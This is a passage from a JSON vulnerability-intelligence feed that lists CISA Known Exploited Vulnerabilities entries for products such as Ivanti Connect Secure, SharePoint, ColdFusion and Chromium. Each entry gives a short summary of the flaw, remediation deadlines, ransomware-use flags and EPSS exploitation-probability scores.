use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-0519","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-0519 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-0519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-0519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-15133","cveId":"CVE-2018-15133","aliases":[],"kind":"vulnerability","title":"Laravel Deserialization of Untrusted Data Vulnerability","summary":"Laravel Framework contains a deserialization of untrusted data vulnerability, allowing for remote command execution. This vulnerability may only be exploited if a malicious user has accessed the application encryption key (APP_KEY environment variable).","detail":"CISA added this entry on 2024-01-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-16","updatedAt":null,"regions":["Global"],"vendor":"Laravel","product":"Laravel Framework","stacks":["Laravel","Laravel Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-16","dueAt":"2024-02-06","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7657,"percentile":0.99538,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-15133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-15133","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-15133 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-15133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-15133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-29357","cveId":"CVE-2023-29357","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Server Privilege Escalation Vulnerability","summary":"Microsoft SharePoint Server contains an unspecified vulnerability that allows an unauthenticated attacker, who has gained access to spoofed JWT authentication tokens, to use them for executing a network attack. This attack bypasses authentication, enabling the attacker to gain administrator privileges.","detail":"CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint Server","stacks":["Microsoft SharePoint","Microsoft","SharePoint Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-10","dueAt":"2024-01-31","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99984,"percentile":0.99983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-29357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-29357","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-29357 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-29357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-29357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-46805","cveId":"CVE-2023-46805","aliases":[],"kind":"vulnerability","title":"Ivanti Connect Secure and Policy Secure Authentication Bypass Vulnerability","summary":"Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure gateways contain an authentication bypass vulnerability in the web component that allows an attacker to access restricted resources by bypassing control checks. This vulnerability can be leveraged in conjunction with CVE-2024-21887, a command injection vulnerability.","detail":"CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-10","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Connect Secure and Policy Secure","stacks":["Ivanti","Connect Secure and Policy Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-10","dueAt":"2024-01-22","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99984,"percentile":0.99983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-46805&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-46805","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-46805 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-46805&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-46805, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21887","cveId":"CVE-2024-21887","aliases":[],"kind":"vulnerability","title":"Ivanti Connect Secure and Policy Secure Command Injection Vulnerability","summary":"Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure contain a command injection vulnerability in the web components of these products, which can allow an authenticated administrator to send crafted requests to execute code on affected appliances. This vulnerability can be leveraged in conjunction with CVE-2023-46805, an authenticated bypass issue.","detail":"CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-10","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Connect Secure and Policy Secure","stacks":["Ivanti","Connect Secure and Policy Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-10","dueAt":"2024-01-22","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21887&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21887","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21887 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21887&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21887, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-20017","cveId":"CVE-2016-20017","aliases":[],"kind":"vulnerability","title":"D-Link DSL-2750B Devices Command Injection Vulnerability","summary":"D-Link DSL-2750B devices contain a command injection vulnerability that allows remote, unauthenticated command injection via the login.cgi cli parameter.","detail":"CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-08","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DSL-2750B Devices","stacks":["D-Link","DSL-2750B Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-08","dueAt":"2024-01-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65777,"percentile":0.99262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-20017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-20017","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-20017 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-20017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-20017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-23752","cveId":"CVE-2023-23752","aliases":[],"kind":"vulnerability","title":"Joomla! Improper Access Control Vulnerability","summary":"Joomla! contains an improper access control vulnerability that allows unauthorized access to webservice endpoints.","detail":"CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-08","updatedAt":null,"regions":["Global"],"vendor":"Joomla!","product":"Joomla!","stacks":["Joomla","Joomla!"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-08","dueAt":"2024-01-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99809,"percentile":0.99958,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-23752&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-23752","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-23752 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-23752&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-23752, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-27524","cveId":"CVE-2023-27524","aliases":[],"kind":"vulnerability","title":"Apache Superset Insecure Default Initialization of Resource Vulnerability","summary":"Apache Superset contains an insecure default initialization of a resource vulnerability that allows an attacker to authenticate and access unauthorized resources on installations that have not altered the default configured SECRET_KEY according to installation instructions.","detail":"CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-08","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Superset","stacks":["Apache","Superset"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-08","dueAt":"2024-01-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98148,"percentile":0.99913,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-27524&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-27524","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-27524 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-27524&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-27524, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-29300","cveId":"CVE-2023-29300","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Deserialization of Untrusted Data Vulnerability","summary":"Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for code execution.","detail":"CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-08","dueAt":"2024-01-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99991,"percentile":0.99986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-29300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-29300","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-29300 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-29300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-29300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-38203","cveId":"CVE-2023-38203","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Deserialization of Untrusted Data Vulnerability","summary":"Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for code execution.","detail":"CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-08","dueAt":"2024-01-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97074,"percentile":0.99891,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-38203&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-38203","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-38203 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38203&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-38203, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41990","cveId":"CVE-2023-41990","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Code Execution Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, and watchOS contain an unspecified vulnerability that allows for code execution when processing a font file.","detail":"CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-08","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-08","dueAt":"2024-01-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01388,"percentile":0.72066,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41990","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41990 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-7024","cveId":"CVE-2023-7024","aliases":[],"kind":"vulnerability","title":"Google Chromium WebRTC Heap Buffer Overflow Vulnerability","summary":"Google Chromium WebRTC, an open-source project providing web browsers with real-time communication, contains a heap buffer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could impact web browsers using WebRTC, including but not limited to Google Chrome.","detail":"CISA added this entry on 2024-01-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-02","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium WebRTC","stacks":["Google Chrome","Google","Chromium WebRTC"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-02","dueAt":"2024-01-23","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06671,"percentile":0.93843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-7024&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-7024","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-7024 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-7024&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-7024, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-7101","cveId":"CVE-2023-7101","aliases":[],"kind":"vulnerability","title":"Spreadsheet::ParseExcel Remote Code Execution Vulnerability","summary":"Spreadsheet::ParseExcel contains a remote code execution vulnerability due to passing unvalidated input from a file into a string-type “eval”. Specifically, the issue stems from the evaluation of Number format strings within the Excel parsing logic.","detail":"CISA added this entry on 2024-01-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-02","updatedAt":null,"regions":["Global"],"vendor":"Spreadsheet::ParseExcel","product":"Spreadsheet::ParseExcel","stacks":["Spreadsheet::ParseExcel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-02","dueAt":"2024-01-23","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18959,"percentile":0.9728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-7101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-7101","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-7101 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-7101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-7101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-47565","cveId":"CVE-2023-47565","aliases":[],"kind":"vulnerability","title":"QNAP VioStor NVR OS Command Injection Vulnerability","summary":"QNAP VioStar NVR contains an OS command injection vulnerability that allows authenticated users to execute commands via a network.","detail":"CISA added this entry on 2023-12-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-12-21","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"VioStor NVR","stacks":["QNAP","VioStor NVR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-21","dueAt":"2024-01-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73277,"percentile":0.99455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-47565&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-47565","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-47565 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-47565&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-47565, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-49897","cveId":"CVE-2023-49897","aliases":[],"kind":"vulnerability","title":"FXC AE1021, AE1021PE OS Command Injection Vulnerability","summary":"FXC AE1021 and AE1021PE contain an OS command injection vulnerability that allows authenticated users to execute commands via a network.","detail":"CISA added this entry on 2023-12-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-12-21","updatedAt":null,"regions":["Global"],"vendor":"FXC","product":"AE1021, AE1021PE","stacks":["FXC","AE1021, AE1021PE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-21","dueAt":"2024-01-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.50447,"percentile":0.98904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-49897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 